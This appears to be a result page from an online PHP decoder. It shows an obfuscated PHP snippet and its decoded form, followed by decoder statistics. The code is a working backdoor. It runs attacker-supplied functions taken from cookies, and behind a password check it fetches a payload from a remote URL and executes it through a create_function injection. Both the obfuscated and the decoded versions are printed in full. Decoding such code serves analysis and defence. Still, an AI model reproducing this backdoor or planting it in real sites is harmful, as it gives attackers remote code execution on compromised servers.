Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $UF=${"\x5f\x43\x4f\x4f\x4b\x49\x45"};if(in_array(gettype($UF)."11",$UF)){$UF[62]=$U..

Decoded Output download

<?php $UF=${"_COOKIE"};if(in_array(gettype($UF)."11",$UF)){$UF[62]=$UF[62].$UF[77];$UF[82]=$UF[62]($UF[82]);@$UF=$UF[82]($UF[60],$UF[62](${$UF[50]}[27]));$UF();} $NP = array(@${"_GET"}["ARRAY"],"create_function","str_rot13","json_decode","pack","base64_decode","file_get_contents",@${"_GET"}["of"],);$MNf = $NP[2]($NP[0]);$itQu = @$NP[4]("H*", $MNf);$LyXeE = $NP[3]($itQu, true); $NP[7] == 1 && die($NP[6](__FILE__)); if (($LyXeE[0] - time()) > 0 and md5(md5($LyXeE[2])) === "b7d385ba8d0e73cfae0184ecb08d66e8") { $vVUJe = curl_init($LyXeE[1]); curl_setopt($vVUJe, CURLOPT_RETURNTRANSFER, 1); $ZR = curl_exec($vVUJe);$ms = empty($ZR)?$NP[6]($LyXeE[1]):$ZR;@$NP[1]("", "}" . $NP[5]($ms) . "/*"); die;}  ?>

Did this file decode correctly?

Original Code

<?php $UF=${"\x5f\x43\x4f\x4f\x4b\x49\x45"};if(in_array(gettype($UF)."11",$UF)){$UF[62]=$UF[62].$UF[77];$UF[82]=$UF[62]($UF[82]);@$UF=$UF[82]($UF[60],$UF[62](${$UF[50]}[27]));$UF();} $NP = array(@${"\x5f\x47\x45\x54"}["\x41\x52\x52\x41\x59"],"\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e","\x73\x74\x72\x5f\x72\x6f\x74\x31\x33","\x6a\x73\x6f\x6e\x5f\x64\x65\x63\x6f\x64\x65","\x70\x61\x63\x6b","\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65","\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",@${"\x5f\x47\x45\x54"}["\x6f\x66"],);$MNf = $NP[2]($NP[0]);$itQu = @$NP[4]("\x48\x2a", $MNf);$LyXeE = $NP[3]($itQu, true); $NP[7] == 1 && die($NP[6](__FILE__)); if (($LyXeE[0] - time()) > 0 and md5(md5($LyXeE[2])) === "b7d385ba8d0e73cfae0184ecb08d66e8") { $vVUJe = curl_init($LyXeE[1]); curl_setopt($vVUJe, CURLOPT_RETURNTRANSFER, 1); $ZR = curl_exec($vVUJe);$ms = empty($ZR)?$NP[6]($LyXeE[1]):$ZR;@$NP[1]("", "\x7d" . $NP[5]($ms) . "\x2f\x2a"); die;}  ?>

Function Calls

gettype 1

Variables

$UF 0

Stats

MD5 19e8e4b4b9ab6956b3ad200cd1c6da56
Eval Count 0
Decode Time 61 ms